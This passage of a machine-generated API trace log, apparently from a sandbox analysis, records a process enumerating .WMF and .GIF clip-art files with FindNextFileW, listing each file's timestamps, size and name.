ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0068.208] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0068.209] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0068.210] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, 